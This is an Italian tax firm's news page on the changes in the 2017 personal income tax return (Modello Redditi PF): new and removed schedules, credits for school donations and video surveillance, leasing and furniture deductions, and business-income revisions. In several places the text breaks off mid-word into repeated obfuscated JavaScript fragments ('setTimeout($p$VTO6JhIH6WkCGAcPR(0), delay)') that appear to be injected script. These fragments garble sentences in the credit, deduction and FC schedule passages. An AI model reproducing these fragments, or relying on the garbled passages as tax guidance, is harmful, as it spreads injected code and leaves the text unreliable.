Source: http://www.studiotributariozinghini.com/novita-del-modello-redditi-persone-fisiche-2017/
Timestamp: 2018-05-26 03:54:08+00:00
Document Index: 139771374

Matched Legal Cases: ['art. 1', 'art. 35', 'art. 16', 'art. 1', 'art. 5', 'art. 6', 'art. 1', 'art. 16', 'art. 1', 'art. 1', 'art. 1', 'art. 15', 'art. 15', 'art. 1', 'art. 110', 'art. 4', 'art. 2', 'art. 16', 'art. 168', 'art. 168', 'art. 168', 'art. 14', 'art. 110', 'art. 168', 'art. 168', 'art. 168', 'art. 2', 'art. 16', 'art. 2', 'art. 16', 'art. 1', 'art. 1', 'art. 1', 'art. 167', 'art. 168', 'art. 110', 'art. 1', 'art. 110']

Novità del Modello Redditi Persone Fisiche 2017 | Zinghini
Zinghini > News e Media > News e Media > Novità del Modello Redditi Persone Fisiche 2017
NOVITA’ DEL MODELLO REDDITI PF 2017 (in allegato trovate la versione PDF di tutte le novità da stampare)
Nel riquadro “Tipo di dichiarazione”:
sono state eliminate le caselle “Redditi” e “Iva” in quanto la dichiarazione IVA non può essere presentata in forma unificata con la dichiarazione dei redditi (art. 1, comma 641, della legge 23 dicembre 2014, n. 190). Per lo stesso motivo anche il quadro RX ha subito una “riduzione”:
la sezione III, dedicata alla determinazione dell’Iva da versare o del credito d’imposta fino al modello Unico 2016, è stata eliminata dal modello Redditi 2017;
è stata eliminata la casella “Dichiarazione integrativa a favore”.vIl termine per la presentazione della dichiarazione integrativa “a favore” è stato equiparato a quello previsto per la presentazione della dichiarazione integrativa “a sfavore”.
Nel riquadro “Visto di conformità” è stata eliminata la casella “Visto di conformità rilasciato ai sensi dell’art. 35 del D.Lgs. n. 241/1997 relativo a Redditi/IVA”; anche tale modifica è intervenuta poiché la dichiarazione IVA non può essere presentata in forma unificata con la dichiarazione dei redditi.
A seguito dell’equiparazione del termine per la presentazione dell’integrativa “a favore” a quello previsto per l’integrativa “a sfavore” (31 dicembre del quinto anno successivo) è stato introdotto il quadro DI.
Ricordiamo infatti che la suddetta novità legislativa ha previsto che il credito derivante dal minor debito o dal maggior credito risultante dall’integrativa a favore, nel caso in cui questa sia presentata oltre il termine per la dichiarazione relativa al periodo di imposta successivo, possa essere utilizzato in compensazione per eseguire il versamento di debiti maturati a partire dal periodo d’imposta successivo a quello in cui è stata presentata l’integrativa stessa e debba essere indicato nella
dichiarazione relativa al periodo d’imposta in cui è presentata l’integrativa.
Il quadro DI è quindi riservato a chi ha presentato nel 2016 dichiarazioni integrative a favore ultrannuali, per segnalare il relativo maggior credito.
se nel corso del 2016 sono state presentate più integrative relative a differenti periodi d’imposta, va compilato un distinto rigo per ciascun codice tributo e relativo periodo d’imposta;
nella colonna “Periodo d’imposta” deve essere indicato l’anno cui si riferisce l’integrativa (ad esempio, per Unico 2013 va indicato l’anno 2012), mentre nella colonna 2 va riportato il codice tributo relativo al credito derivante dall’integrativa (ad esempio, 2003 per il saldo Ires).
A seguito delle novità sopraesposte è stato eliminato il quadro “Errori contabili” presente nel quadro RS fino al modello Unico PF 2016.
In seguito all’intervento normativo operato dalla Stabilità 2016 (articolo 1, commi da 182 a 190, della legge 208/2015) in materia di tassazione di favore dei premi di risultato di ammontare variabile, dal 2016 l’agevolazione è stata messa a regime, con un tetto di accesso a 50.000 euro di redditi da lavoro dipendente nell’anno precedente e un limite di premi assoggettabili alla tassazione sostitutiva fissato a 2mila euro lordi (è elevato a 2.500 euro per le imprese che coinvolgono pariteticamente i lavoratori nell’organizzazione del lavoro).
L’agevolazione, inoltre, è stata estesa alle somme erogate sotto forma di partecipazione agli utili dell’impresa:
se i premi di risultato sono percepiti in denaro, si applica un’imposta sostitutiva dell’Irpef e relative addizionali pari al 10%;
se i premi, invece, sono percepiti sotto forma di benefit o di rimborso di spese di rilevanza sociale sostenute dal lavoratore, non si applica alcuna imposta.
In presenza dei requisiti previsti dall’art. 16 del D.Lgs. 14 settembre 2015, n. 147 (le disposizioni di attuazione sono previste nel D.M. 26 maggio 2016), per i lavoratori che si sono trasferiti in Italia concorre alla formazione del reddito complessivo soltanto il 70% del reddito di lavoro dipendente prodotto nel nostro Paese.
Nel quadro RC, Sezione I – Redditi di lavoro dipendente nella casella “Casi particolari” va indicato il codice “4” se si fruisce in dichiarazione dell’agevolazione, prevista per i lavoratori impatriati che rientrano in Italia dall’estero.
Per i terreni posseduti e condotti da coltivatori diretti e imprenditori agricoli professionali (Iap) iscritti nella previdenza agricola, ai fini della determinazione dei redditi dominicale e agricolo, non va più operata l’ulteriore rivalutazione che, nel 2015, si applicava nella misura del 30%.
Inoltre, per i terreni:
concessi in affitto per usi agricoli per almeno 5 anni a giovani imprenditori under 40 con la qualifica di coltivatore diretto/IAP (ossia tale qualifica viene acquisita entro 2 anni dalla stipula del contratto);
non si applica neppure l’ordinaria rivalutazione dell’80%/70%.
Per le erogazioni liberali di ammontare fino a 100.000 euro effettuate nel corso del 2016 in favore degli istituti del sistema nazionale d’istruzione, è riconosciuto un credito d’imposta pari al 65% delle erogazioni effettuate, da ripartire in 3 quote annuali di pari importo.
Le erogazioni liberali devono essere destinate:
agli interventi per il miglioramento dell’occupabilità degli studenti.
È riconosciuto un credito d’imposta per le spese sostenute nel 2016 per l’installazione di sistemi di videosorveglianza digitale o allarme, nonché connesse a contratti stipulati con istituti di vigilanza, dirette alla prevenzione di attività criminali (l’art. 1, comma 982, della L. 28 dicembre 2015, n. 208).
Il credito d’imposta è determinato applicandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando la percentuale del 100% all’importo delle spese indicate nell’istanza.
Il credito d’imposta, una volta riconosciuto:
è utilizzabile in compensazione mediante F24 che deve essere presentato esclusivamente attraverso i servizi telematici dell’Agenzia delle Entrate;
in alternativa può essere utilizzato in diminuzione delle imposte sui redditi nella dichiarazione dei redditi.
A decorrere dal periodo d’imposta 2016, per le assicurazioni aventi per oggetto il rischio di morte finalizzate alla tutela delle persone con disabilità grave, è elevato a euro 750 l’importo massimo dei premi per cui è possibile fruire della detrazione del 19% (art. 5 della L. 22 giugno 2016, n. 112). Il codice da inserire è il “38”. L’importo per i premi non deve complessivamente superare 750 euro al netto dei premi per le assicurazioni aventi per oggetto il rischio di morte o di invalidità permanente (se presenti da indicare con il codice “36”, per un importo non superiore a 530 euro);
a decorrere dall’anno d’imposta 2016 è possibile fruire della deduzione del 20% per le erogazioni liberali, donazioni e altri atti a titolo gratuito, complessivamente non superiori a 100.000 euro, a favore di trust o fondi speciali che operano nel settore della beneficienza (art. 6 della L. 22 giugno 2016, n. 112). Nel rigo RP26 occorre indicare il codice “12”;
l’art. 1, comma 74, della L. 28 dicembre 2015, n. 208, ha prorogato al 31 dicembre 2016 l’innalzamento della percentuale di detrazione, dal 36% al 50%, spettante ai sensi dell’art. 16-bis del TUIR per le spese sostenute per interventi di recupero del patrimonio edilizio, nonché l’incremento delle spese ammissibili da euro 48.000 a euro 96.000; il comma 75 dell’art. 1 della Legge di Stabilità del 2016 ha ampliato le ipotesi in cui è possibile fruire del “bonus mobili”, individuandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando specifici requisiti soggettivi in presenza dei quali è anche elevato da 10.000 a 16.000 euro il limite massimo di spesa detraibile (Agenzia delle Entrate, Circolare n. 7 del 31 marzo 2016). Più precisamente, l’agevolazione prevede che alle giovani coppie, anche conviventi di fatto da almeno 3 anni, in cui uno dei due componenti non ha più di 35 anni e che nel 2015 o nel 2016 (prorogato al 2017) hanno acquistato un immobile da adibire a propria abitazione principale, è riconosciuta la detrazione del 50% delle spese sostenute, entro il limite di 16.000 euro, per l’acquisto di mobili nuovi destinati all’arredo dell’abitazione principale. A tal fine è necessario compilare il rigo RP58;
è riconosciuta la detrazione del 19% dell’importo dei canoni di leasing pagati nel 2016 per l’acquisto di unità immobiliari da destinare ad abitazione principale, ai contribuenti che, alla data di stipula del contratto avevano un reddito non superiore a 55.000 euro (art. 1, comma 182 e seguenti, della L. 28 dicembre 2015, n. 208).
L’importo dei canoni di leasing non può superare:
il limite di 8.000 euro annui – se alla data di stipula del contratto di leasing il contribuente aveva meno di 35 anni;
il limite di 4.000 euro annui – se a tale data il contribuente aveva un’età uguale o superiore a 35 anni.
Il prezzo di riscatto non può superare:
il limite di 20.000 euro – se alla data di stipula del contratto di leasing il contribuente aveva meno di 35 anni;
il limite di 10.000 euro – se a tale data il contribuente aveva un’età uguale o superiore a 35 anni.
A tal fine è necessario compilare il rigo RP14:
Nel rigo RP59 vanno indicati i seguenti dati:
Colonna 1 (Numero rata): indicare il numero di rata che per l’anno 2016 sarà pari a 1;
Colonna 2 (Importo IVA pagata): indicare l’importo dell’IVA pagata all’impresa da cui è stato acquistato l’immobile;
Colonna 3 (Importo rata): indicare l’importo di ciascuna rata, dividendo per dieci l’ammontare complessivo della spesa sostenuta indicata nella colonna 2.
è riconosciuta la detrazione del 65% delle spese sostenute nel 2016 per l’acquisto, installazione e messa in opera di dispositivi multimediali per il controllo da remoto degli impianti di riscaldamento e/o produzione acqua calda e/o climatizzazione delle unità abitative (l’art. 1, comma 88, della L. 28 dicembre 2015, n. 208).
Per tali spese occorre compilare i Righi da RP61 a RP66. Il codice da inserire nella colonna 1 (“Tipo di intervento”) è “7” (Acquisto, installazione e messa in opera di dispositivi multimediali per controllo da remoto).
la Legge di Bilancio 2017 è intervenuta sull’art. 15, comma 1, lettera e-bis), del TUIR, incrementandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando, con effetto retroattivo al 2016, l’importo massimo detraibile relativo alle spese di frequenza di scuole dell’infanzia, del primo ciclo di istruzione e della scuola secondaria di secondo grado del sistema nazionale di istruzione, da indicare nel modello Redditi PF nei righi da RP8 A RP13 con il codice “12”.
Più precisamente, se in precedenza era prevista la detraibilità per una spesa annua massima di 400 euro, il limite, per alunno o studente, è pari a:
768 euro per l’anno 2018;
800 euro a decorrere dall’anno 2019.
Per le spese per frequenza di corsi di istruzione universitaria, previste alla lettera e) dell’art. 15, comma 1, del TUIR, da inserire con il codice “13”, non sono state apportate modifiche.
Nel quadro RS del modello Redditi PF 2017 si evidenzia eliminazione del prospetto sugli “Errori contabili” contenuto nel modello Unico PF 2016, la cui compilazione viene meno a seguito delle novità apportate dall’articolo 5 del Dl 193/2016 all’articolo 2 del Dpr 322/1998, con il quale sono stati ampliati i termini entro cui il contribuente può presentare la dichiarazione “a favore”. Quindi, non è più applicabile la circolare dell’Agenzia delle Entrate n. 31/E del 2013, riguardante la correzione degli errori contabili in bilancio.
Sempre nel quadro RS è stato modificato il rigo RS37, dedicato all’indicazione dell’agevolazione c.d. “ACE” (aiuto alla crescita economica), al fine di recepire le novità introdotte dalla legge di bilancio per il 2017 che hanno, tra l’altro, modificato le modalità di determinazione dell’agevolazione riconosciuta alle imprese individuali, alle società in nome collettivo ed a quelle in accomandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andita semplice in regime di contabilità ordinaria, equiparandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andole a quelle previste per le società di capitali e per
gli enti commerciali (art. 1, commi da 550 a 553, della legge 11 dicembre 2016, n. 232).
Nel quadro RG:
tra i componenti negativi è stato eliminato il rigo RG21. Non sono più indicate le spese e gli altri componenti negativi derivanti da operazioni intercorse con imprese residenti ovvero localizzate in Stati o territori aventi regimi fiscali privilegiati ovvero derivanti da prestazioni di servizi rese da professionisti domiciliati nei medesimi Stati o territori, per la quota deducibile a seguito della abrogazione dei commi da 10 a 12- bis dell’art. 110 del TUIR;
il Dm 30 luglio 2015 ha fissato le disposizioni attuative dell’articolo 1, commi da 37 a 45, della Stabilità 2015 (legge 190/2014), riguardanti il regime opzionale di tassazione agevolata per i redditi derivanti dall’utilizzo di opere dell’ingegno, da brevetti industriali, da marchi, da disegni e modelli, nonché da processi, formule e informazioni relativi a esperienze acquisite nel campo industriale, commerciale o scientifico giuridicamente tutelabili (c.d “patent box”). In base alla norma, se la quota di reddito agevolabile è determinata su un bene utilizzato “direttamente”, il suo contributo economico alla produzione del reddito complessivo è determinato in base a un apposito accordo conforme (“ruling”). Ebbene, il decreto ministeriale ha previsto che l’opzione ha efficacia dal periodo d’imposta in cui è presentata la richiesta di ruling, in deroga alla regola generale secondo cui l’opzione riguarda il periodo d’imposta nel corso del quale essa è comunicata; per “limitare” gli effetti, in attesa della stipula dell’accordo, i soggetti beneficiari determinano il reddito d’impresa in base alle regole ordinarie. Al fine di consentire l’accesso al beneficio fin dal periodo di imposta in cui è presentata l’istanza di ruling, la quota di reddito agevolabile relativa ai periodi di imposta compresi tra la data di presentazione dell’istanza e la data di sottoscrizione dell’accordo, può essere indicata nella dichiarazione dei redditi relativa al periodo d’imposta di sottoscrizione del ruling. A tale fine tra i componenti negativi, rigo RG23, per consentire l’accesso al beneficio “Patent box” fin dal periodo d’imposta in cui è presentata l’istanza di ruling, è stata prevista l’indicazione della quota di reddito agevolabile relativa ai periodi di imposta compresi tra la data di presentazione della medesima istanza e la data di sottoscrizione dell’accordo (art. 4, comma 4, del d.m. 30 luglio 2015);
per i soggetti di cui all’art. 2 della legge 30 dicembre 2010, n. 238, trasferitisi in Italia entro il 31 dicembre 2015, è possibile optare per regime agevolativo previsto dall’art. 16 del decreto legislativo 14 settembre 2015, n. 147: in tal caso il reddito d’impresa concorre alla formazione del reddito complessivo limitatamente al 70 per cento del suo ammontare. E’ stata quindi inserita una codifica ad hoc, in corrispondenza della casella “Rientro Lavoratrici / Lavoratori”, presente a margine del quadro, per consentire ai soggetti interessati di evidenziare in dichiarazione che si sta fruendo di tale regime (codice 2), ovvero del previgente regime previsto dalla citata legge 238 (codice 1);
nel rigo RG41 i soggetti residenti nel territorio dello Stato che hanno optato per l’esenzione degli utili e delle perdite attribuibili a tutte le proprie stabili organizzazioni all’estero devono indicare per le stabili organizzazioni già esistenti, separatamente nella dichiarazione dei redditi relativa al periodo d’imposta di esercizio dell’opzione, i redditi e le perdite attribuibili a ciascuna stabile organizzazione nei cinque periodi d’imposta antecedenti a quello di effetto dell’opzione (art. 168-ter, comma 7, del TUIR).
Diverse le novità nel quadro di determinazione del reddito d’impresa (quadro RF), che hanno comportato principalmente una riduzione delle informazioni richieste al contribuente.
Con l’abrogazione dei commi da 10 a 12-bis operata dalla Stabilità 2016, è stata eliminata la disciplina speciale della deducibilità dei costi sostenuti per operazioni intercorse con soggetti attivi in Stati a regime fiscale privilegiato. Secondo le norme previgenti, la deducibilità era consentita nei limiti del valore normale di tali componenti negative (salva prova del fatto che le operazioni poste in essere rispondevano a un effettivo interesse economico e avevano avuto concreta esecuzione). Con
l’abrogazione dei commi citati, anche a queste componenti si applicano le norme generali sulla deducibilità dei costi contenute nell’articolo 110 del Tuir.
Quindi è stato eliminato
tra le variazioni in aumento il rigo RF29;
tra le variazioni in diminuzione, il rigo RF52.
Altra modifica del quadro RF è presente al rigo “Altre variazioni in aumento” (RF31), dove non è più prevista l’indicazione del codice “2”, con il quale veniva esposto l’ammontare dell’incentivo fiscale da recuperare a tassazione in applicazione della “Tremonti-ter” (articolo 5, Dl 78/2009), pari al corrispettivo o al valore normale dei beni oggetto dell’agevolazione (fino a concorrenza della variazione in diminuzione effettuata nel periodo in cui è stato realizzato l’investimento), anche per le cessioni del bene oggetto dell’investimento a soggetti aventi stabile organizzazione in Paesi non aderenti allo Spazio economico europeo.
Anche nel quadro RF (come precedentemente previsto nel quadro RG) è stato previsto l’inserimento di una nuova colonna 2 nel rigo RF50, al fine di consentire l’accesso al beneficio “Patent box” fin dal periodo d’imposta in cui è presentata l’istanza di ruling.
Tra le altre variazioni in aumento sono stati previsti i seguenti codici:
45: ammontare della perdita esente delle stabili organizzazioni all’estero in caso di esercizio dell’opzione di cui all’art. 168-ter del TUIR;
46: l’ammontare del reddito imponibile delle stabili organizzazioni all’estero, a seguito dell’applicazione della disciplina di cui al comma 7 dell’art. 168-ter del TUIR. (art. 14 del decreto legislativo 14 settembre 2015, n. 147),
47: variazione fiscale conseguente all’applicazione del comma 7 dell’art. 110 del TUIR alle transazioni intercorse tra l’impresa residente e le proprie stabili organizzazioni all’estero (nonché tra queste ultime e le altre imprese del medesimo gruppo) per le quali e stata esercitata l’opzione per l’esenzione degli utili e delle perdite ai sensi dell’art. 168-ter del TUIR.
Tra le altre variazioni in diminuzione sono stati previsti i seguenti codici:
41: ammontare degli utili esenti delle stabili organizzazioni all’estero in caso di esercizio dell’opzione di cui all’art. 168-ter del TUIR;
Nel rigo RF130, i soggetti residenti nel territorio dello Stato che hanno optato per l’esenzione degli utili e delle perdite attribuibili a tutte le proprie stabili organizzazioni all’estero devono indicare per le stabili organizzazioni già esistenti, separatamente nella dichiarazione dei redditi relativa al periodo d’imposta di esercizio dell’opzione, i redditi e le perdite attribuibili a ciascuna stabile organizzazione nei cinque periodi d’imposta antecedenti a quello di effetto dell’opzione (art. 168-ter, comma 7, del TUIR).
Come visto precedentemente per i soggetti di cui all’art. 2 della legge 30 dicembre 2010, n. 238, trasferitisi in Italia entro il 31 dicembre 2015, è possibile optare per regime agevolativo previsto dall’art. 16 del decreto legislativo 14 settembre 2015, n. 147: in tal caso il reddito d’impresa
concorre alla formazione del reddito complessivo limitatamente al 70 per cento del suo ammontare. Anche nel quadro RF è stata quindi inserita una codifica ad hoc, in corrispondenza della casella “Rientro Lavoratrici / Lavoratori”, presente a margine del quadro, per consentire ai soggetti
interessati di evidenziare in dichiarazione che si sta fruendo di tale regime (codice 2), ovvero del previgente regime previsto dalla citata legge 238 (codice 1).
Anche nel quadro RE per i soggetti di cui all’art. 2 della legge 30 dicembre 2010, n. 238, trasferitisi in Italia entro il 31 dicembre 2015, è possibile optare per regime agevolativo previsto dall’art. 16 del decreto legislativo 14 settembre 2015, n. 147: in tal caso il reddito da lavoro autonomo concorre alla formazione del reddito complessivo limitatamente al 70 per cento del suo ammontare. Anche nel quadro RE è stata quindi inserita una codifica ad hoc, in corrispondenza della casella “Rientro Lavoratrici / Lavoratori”, presente a margine del quadro, per consentire ai soggetti interessati di evidenziare in dichiarazione che si sta fruendo di tale regime (codice 2), ovvero del previgente regime previsto dalla citata legge 238 (codice 1).
Nel quadro LM destinato all’indicazione del reddito dei soggetti che aderiscono al regime di vantaggio per l’imprenditoria giovanile e lavoratori in mobilità e del reddito dei contribuenti che fruiscono del regime forfetario (art. 1, commi 54-89, della legge 23 dicembre 2014, n. 190) le novità sono date dal fatto che:
nella sezione II, riservata ai contribuenti che fruiscono del regime forfetario, in corrispondenza del reddito lordo di rigo LM34, e delle perdite pregresse portate in diminuzione del reddito di rigo LM37, sono state inserite due colonne di dettaglio, nelle quali vengono indicati i dati dei redditi e delle perdite afferenti a ciascuna gestione previdenziale, al fine di poter riscontrare lo specifico imponibile contributivo;
al rigo LM40, “Crediti d’imposta”, sono state inserite le colonne 10 e 11, per indicarvi, rispettivamente:
il credito d’imposta per le erogazioni liberali in denaro destinate agli investimenti in favore di tutti gli istituti del sistema nazionale di istruzione, per la realizzazione di nuove strutture scolastiche, la manutenzione e il potenziamento di quelle esistenti e per il sostegno a interventi che migliorino l’occupabilità degli studenti, il c.d. credito “Scuola”, art. 1, commi da 145 a 150, della legge 13 luglio 2015, n. 107 (colonna 10);
il credito d’imposta per le spese sostenute per l’installazione di sistemi di videosorveglianza digitale o allarme, nonché connesse a contratti stipulati con istituti di vigilanza, dirette alla prevenzione di attività criminali, (credito “Videosorveglianza”, art. 1, comma 982, legge 28 dicembre 2015, n. 208), ai fini dello scomputo degli stessi dall’imposta sostitutiva dovuta sul reddito prodotto in regime di vantaggio e/o forfetario (colonna 11).
Nel quadro RQ va indicata:
la rivalutazione dei beni d’impresa e delle partecipazioni effettuata nel 2017 in base alla proroga prevista dalla Legge di Bilancio 2017;
le agevolazioni previste per le cessioni ai soci di beni aziendali non strumentali all’attività propria dell’impresa.
Per quanto riguarda in particolare la rivalutazione dei beni d’impresa e delle partecipazioni effettuata nel 2017 in base alla proroga prevista dalla Legge di Bilancio 2017 ricordiamo in particolare che:
la rivalutazione va effettuata nel bilancio 2016 e deve riguardare tutti i beni risultanti dal bilancio al 31.12.2015 appartenenti alla stessa categoria omogenea;
il saldo attivo di rivalutazione va imputato al capitale o in un’apposita riserva che ai fini fiscali è considerata in sospensione d’imposta;
è possibile affrancare, anche parzialmente, tale riserva mediante il pagamento di un’imposta sostitutiva pari al 10%;
in caso di cessione/assegnazione ai soci autoconsumo o destinazione a finalità estranee all’esercizio dell’impresa prima dell’inizio del quarto esercizio successivo a quello di rivalutazione (in generale, 1.1.2020), la plus/minusvalenza è calcolata con riferimento al costo del bene ante
Per la fruizione di tale agevolazione è necessario compilare nel quadro RQ le sezioni XXIII-A e XXIII-B.
Mentre per affrancare il saldo di rivalutazione derivante dalla iscrizione dei maggiori valori assolvendo a un’imposta sostitutiva nella misura del 10% si compila la sezione XXIII-C.
Per quanto riguarda invece l’assegnazione agevolata dei beni ai soci ricordiamo che:
la legge di bilancio 2017 ha prorogato le disposizioni contenute nei commi da 115 a 120 dell’articolo 1 della legge 208/2015 (Stabilità 2016) che, per agevolare le cessioni ai soci di beni aziendali non strumentali all’attività propria dell’impresa, ha previsto una tassazione sostitutiva sulla differenza tra il valore normale dei beni citati e il loro costo fiscalmente riconosciuto nella misura dell’8% (10,5% per le società considerate non operative in almeno due dei tre periodi di imposta precedenti a quello in corso al momento dell’assegnazione, cessione o trasformazione in società semplice);
le riserve in sospensione d’imposta annullate per effetto dell’assegnazione dei beni ai soci e quelle delle società che si trasformano potevano essere assoggettate a imposta sostitutiva nella misura del 13 per cento;
i versamenti prevedevano due scadenze: la prima, per il 60%, entro il 30 novembre 2016; la restante parte entro il 16 giugno 2017;
la legge di bilancio 2017 (al comma 565) ha previsto che le stesse disposizioni si applicano anche alle assegnazioni, trasformazioni e cessioni poste in essere successivamente al 30 settembre 2016 ed entro il 30 settembre 2017, con versamenti da effettuare entro il 30 novembre 2017 ed entro il l6 giugno 2018.
Rispetto al modello Unico PF dello scorso anno è stata inserita la sezione XXII, denominato “Assegnazione o cessione di beni ai soci”.
Come evidenziato dalla circolare 26/2016, l’esercizio dell’opzione deve ritenersi perfezionato con l’indicazione in dichiarazione dei redditi dei valori dei beni assegnati e della relativa imposta sostitutiva.
Nel quadro FC dedicato all’indicazione dei redditi dei soggetti controllati residenti o localizzati e delle stabili organizzazioni localizzate in Stati o territori con regime fiscale privilegiato sono state introdotte le seguenti novità:
nella sezione I è stata inserita la casella denominata “Art. 168-ter, comma 4”, che deve essere barrata qualora per le stabili organizzazioni all’estero non ricorrano le esimenti di cui ai commi 5, lettere a) o b), o 8-ter dell’art. 167 del TUIR (nei casi in cui l’impresa residente nel territorio dello Stato abbia optato per l’esenzione degli utili e delle perdite attribuibili alle proprie stabili organizzazioni all’estero);
nella medesima sezione I è stato inserito il campo “N. progressivo stabile organizzazione” per indicare, nell’ipotesi di opzione di cui all’art. 168-ter del TUIR, il numero progressivo che individua la stabile organizzazione cui si riferisce il modulo del quadro FC;
tra le variazioni in aumento è stato eliminato il rigo FC19 dove andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andavano indicate le spese e gli altri componenti negativi derivanti da operazioni intercorse con imprese residenti ovvero localizzate in Stati o territori aventi regimi fiscali privilegiati ovvero derivanti da prestazioni di servizi rese da professionisti domiciliati nei medesimi Stati o territori, ai sensi degli abrogati commi da 10 a 12-bis dell’art. 110 del TUIR (art. 1, comma 142, della legge 28 dicembre 2015, n. 208);
tra le variazioni in diminuzione è stato eliminato il rigo FC30 dove andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andavano indicate le spese e gli altri componenti negativi derivanti da operazioni intercorse con imprese residenti ovvero localizzate in Stati o territori aventi regimi fiscali privilegiati ovvero derivanti da prestazioni di servizi rese da professionisti domiciliati nei medesimi Stati o territori, deducibili ai sensi degli abrogati commi da 10 a 12-bis dell’art. 110 del TUIR.